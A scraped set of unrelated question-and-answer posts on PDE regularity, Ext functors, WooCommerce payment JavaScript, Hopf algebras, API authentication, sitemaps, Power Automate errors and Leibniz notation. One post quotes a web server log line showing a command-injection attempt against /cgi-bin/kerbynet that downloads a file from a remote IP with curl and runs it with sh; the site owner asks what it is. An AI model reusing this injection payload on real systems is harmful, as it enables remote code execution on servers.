ap.analysis of pdes – Reference request: $L^p$ regularity for elliptic differential operators

I am looking for a book that proves the following:

Let $M$ be a closed manifold, $L$ an elliptic differential operator on $M$ of order $k$ and with smooth coefficients. Suppose $u$ is a distribution on $M$ such that $Luin L^p$ ($1<p<infty$), i.e., there exists $vin L^p$ such that $langle u,L^*phirangle=int_Mv,phi$ for all smooth $phi$, where $L^*$ is the formal adjoint of $L$, $langlecdot,cdotrangle$ is the dual pairing of distributions and test functions. Then $uin W^{k,p}$ and $|u|_{W^{k,p}}leq C(|Lu|_{L^p}+|u|_{L^p})$.

The case $k=2$ is discussed in many books on elliptic PDEs. Also, it seems that the case $p=2$ appears in many books, for example the first volume of M. E. Taylor’s trilogy Partial Differential Equations. However, I have not found a proof for the general case. Here are my questions:

  1. Does this result necessarily rely on the theory of pseudodifferential operators?
  2. What are some accessible books for learning its proof, with or without pseudodifferential operators? (For example, I believe this result is contained in H√∂rmander’s tetralogy on linear PDEs, but it could be very difficult to study from those books…)

reference request – When does $operatorname{Ext}_C^1(M,N_i)=0$ imply $operatorname{Ext}_C^1left(M,limlimits_longleftarrow N_iright)=0$?

Let $C$ be an abelian category. Suppose that $(N_i)_{iin I}$ is an inverse system of objects in $C$. Under which conditions does the hypothesis that $$operatorname{Ext}_C^1(M,N_i)=0quadforall iin Itag{1}$$ imply $$operatorname{Ext}_C^1left(M,limlimits_longleftarrow N_iright)=0?tag{2}$$

The functor $operatorname{Ext}^1_C$ is the Yoneda $operatorname{Ext}^1$-functor. So we don’t have to worry whether $C$ has enough injectives/projectives. However, I would be satisfied if there are some results when $C$ is the category of (unitary) left modules over a ring $R$ with unity.

In the case that $C$ is the category of (unitary) left modules over a ring $R$ with unity, every object in $C$ is an inverse limit of injective modules due to this paper. Therefore, an object $Min C$ satisfies $$operatorname{Ext}_C^1left(M,limlimits_longleftarrow N_iright)=limlimits_longleftarrow operatorname{Ext}_C^1(M,N_i)tag{3}$$
for any inverse system $(N_i)_{iin I}$ in $C$ iff $operatorname{Ext}^1_C(M,N)=0$ for all $Nin C$ iff $M$ is projective.

However, I’m not imposing that $(3)$ should be true. I only suppose that $(1)$ is true, and I’d like to know when $(2)$ is also true. Counterexamples in which $(1)$ is true but $(2)$ is false will also be very helpful. Thank you in advance.

javascript – How can i stop woocommerce checkout event based on api request result?

I’m building a custom woocommerce payment gateway and the following code is running on the woocommerce checkout page, and I’m trying to prevent the user from submitting the order till he writes his credit card details in the Tap payment gateway (card js) form.

if the user wrote his card details correctly a request will be sent to Tap to get a payment token and set it inside a hidden field that will be sent and processed on the server-side.

if the user wrote invalid card details I have to prevent him from submitting the order until he corrects his card details.

the problem I’m facing is I cannot get the result after Tap (card js) validates user inputs to make my condition to stop checkout_place_order event execution or continue with the valid data

is there is another way to stop woocommerce jQuery checkout_place_order event?

var tap = Tapjsli('pk_test_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); //public API key
var elements = tap.elements({});
var style = {
    base: {
        color: '#535353',
        lineHeight: '18px',
        fontFamily: 'sans-serif',
        fontSmoothing: 'antialiased',
        fontSize: '16px',
        '::placeholder': {
            color: 'rgba(0, 0, 0, 0.26)',
            fontSize: '15px'
    invalid: {
        color: 'red'

// input labels/placeholders
var labels = {
    cardNumber: "Card Number",
    expirationDate: "MM/YY",
    cvv: "CVV",
    cardHolder: "Card Holder Name"

//payment options
var paymentOptions = {
    currencyCode: ("SAR"),
    labels: labels,
    TextDirection: 'rtl'

//create element, pass style and payment options
var card = elements.create('card', {style: style}, paymentOptions);

(function ($) {
    $(document).one('updated_checkout', function () {
        card.mount('#element-container');//mount element
        //card change event listener
        card.addEventListener('change', function (event) {
            var displayError = $('#error-handler');
            if (event.error) {
            } else {

    function tapTokenHandler(token) {
        $('#tap-form-container').append('<input type="hidden" name="tapToken" id="tapToken" value="' + token.id + '">');

    $('form.woocommerce-checkout').on('checkout_place_order', function (e) {
        tap.createToken(card).then(function (result) {
            // console.log(result);
            if (result.error) {
                // Inform the user if there was an error
                return false; //here I'm trying to stop the event
            // Send the token to your server
            $('#success').css('display', 'block');


reference to card js docs here

reference request – Definition of Braided dual of a Hopf Algebra

I have been reading the paper “Integrating Quantum Groups over Surfaces” by Jordan, Brochier and Ben-Zvi.

At the page 42 they talk about the braided dual algebra $tilde{H}$ to a quasi-triangular Hopf algebra $H$ but I can’t find a definition of this, even in the references they give in the paper.

Any reference to this would be welcomed.

authentication – “Not secure” after RestAPI request

I am working on an e-commerce SPA (Single Page App) hosted in server A, I don’t understand the security (Auth) that good, I’m consuming a PHP RestAPI hosted in server B only to show products, as it is only for showing products I thought that Auth (Auth0, JWT, and so) was not required, making further research I found that will make the user vulnerable to MMA (Man In The Middle Attacks).

The problem is that after the request from server A to server B, the web page says not secure, still with SSL certificate on both servers

The questions are:

Could be the “Not Secure” advertency, caused by not using any Auth method?

Which auth method should I use?

How should I use it?

What are the general rules?

When to use Auth methods?

I know there is a lot of info about Auth out there, but I couldn’t understand anything, Auth doesn’t make sense for me.

Please try to be gentle I don’t understand security, I’m trying to do my best

apache – Very Strange Access Request to my website

Recently I got a very odd request to my website. This is from the log file: - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-" - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-"

It appears to be trying to run some shell commands, including what I believe to be downloading the source of a site with cURL. I tried to visit this URL but it was blocked by my security filter. What is kerbynet? Is this part of cloudflare and can it be used to run shell commands on my website?

It should be noted that I use Cloudflare.

Can you request refresh of the sitemap in Google Search Console?

TL;DR My Sitemap shows a last crawl date of 2-3 days ago in Search Console and I wondered if there was a method of requesting Google re-crawl the sitemap, in the same way as you can ask it to re-crawl a page?

Explanation – I have a problem with a updated page not showing correctly in Search results. I have asked for several re-crawls over several days without luck. I believe this may be as a result of an old lastmod tag on my sitemap. I have corrected that issue and now a live view of sitemap now shows a correct lastmod. I think Google was skipping over the page re-crawl request because its last index was newer than the lastmod before I corrected that issue. Now the lastmod is newer than the last crawl date but now its not touching the Sitemap file to see the updated lastmod. I suspect it will in its own time in the next few days but still, its annoying…

Is there a way of requesting a sitemap re-crawl?

sharepoint online – Run a child flow and Request to XRM API failed with error: ‘Message: Flow client error returned with status code “BadRequest” and details

I am getting

 Request to XRM API failed with error: 'Message: Flow client error returned with status code "BadRequest" 

and unable to figure out the issue. For debugging I have done the below steps:

1- I am able to run a child flow with several variables as the input and several variables as the output (i.e. without any connection).

2- As soon as I add Get Items to the child flow (of course after fixing the connection string) I am not able to save the parent flow and the ugly below error will appear.

        Request to XRM API failed with error: 'Message: Flow client error returned with status code 
    "BadRequest" and details "{"error":{"code":"ChildFlowsUnsupportedForNonOpenApiConnections","message":"The workflow with id '9e0dde55-numbers----00d3a6aa1e4', name Child_IdenitifyChanges_ApporvalEmailV1
    cannot be used as a child workflow because it is on an old version of Flow. 
    Please re-create it inside a solution."}}". Code: 0x80060467 InnerError: Type: System.ServiceModel.FaultException`1((Microsoft.Xrm.Sdk.OrganizationServiceFault, 
    Microsoft.Xrm.Sdk, Version=, Culture=neutral, PublicKeyToken=numbers)) Message: Flow client error returned with status code "BadRequest" and details "{"error":{"code":"ChildFlowsUnsupportedForNonOpenApiConnections",
    "message":"The workflow with id '9e0dde55-numbers-000d3a6aa1e4', name Child_IdenitifyChanges_ApporvalEmailV1 cannot be used as a child workflow because it is on an old version of Flow. Please re-create it inside a solution."}}".
    StackTrace: at Microsoft.Crm.Extensibility.OrganizationSdkServiceInternal.
    Update(Entity entity, InvocationContext invocationContext, CallerOriginToken 
    callerOriginToken, WebServiceType serviceType, Boolean checkAdminMode, Boolean 
    checkForOptimisticConcurrency, Dictionary`2 optionalParameters) at 
    Microsoft.Crm.Extensibility.OData.CrmODataExecutionContext.Update(Entity entity, UpdateOption updateOption) at Microsoft.Crm.Extensibility.OData.CrmODataServiceDataProvider.

some screenshots

enter image description here

enter image description here

Child Connetion String:
enter image description here

and the content of Get Items of child by clicking on Peek Code

"inputs": {
    "host": {
        "connection": {
            "name": "@json(decodeBase64(triggerOutputs().headers('X-MS-APIM-Tokens')))('$connections')('shared_sharepointonline')('connectionId')"
    "method": "get",
    "path": "/datasets/@{encodeURIComponent(encodeURIComponent('https://orgnameeee.sharepoint.com/sites/SiteName'))}/tables/@{encodeURIComponent(encodeURIComponent('298cb3af-sime digits-2e672809fb2d'))}/items",
    "authentication": {
        "type": "Raw",
        "value": "@json(decodeBase64(triggerOutputs().headers('X-MS-APIM-Tokens')))('$ConnectionKey')"
"metadata": {
    "flowSystemMetadata": {
        "swaggerOperationId": "GetItems"


Valid Email Analyzer Software Review Request

Hi Viewers,

I am currently looking for testers for the new version my valid email analyzer software. It’s a project that I just completed for email marketers and companies with the goal of creating an essential, productive and super user easy email marketing software that checks the validity of an email address with the service provider before sending email letters or campaigns in order to avoid high email bounce rate. This also prevent sending email server from being blacklisted.

I need reliable testers and early adopters to evaluate the software in every manner and reports on any issues such as bugs, errors and crashes. I am also interested in hearing suggestions on how the application can be improved. Getting feedback from real email marketers is important to improve the app.

– Windows 7 and above.
– Microsoft NetFramework 4.0 or above installed.


Kindly leave me a message if required and I will get back in touch with you.
Thank you.


Reference request: Dictionary of the Leibniz notation

Is there any published, somewhat comprehensive, list of (almost?) all the many ways in which the Leibniz notation ($dx,$ $P(dx),$ $dmu(x),$ $duwedge dv,$ etc., etc.) gets used in the various areas of mathematics?

(I posted this question here on m.s.e. and it was closed although nobody verbally expressed any specific objections to it or even hinted at such.)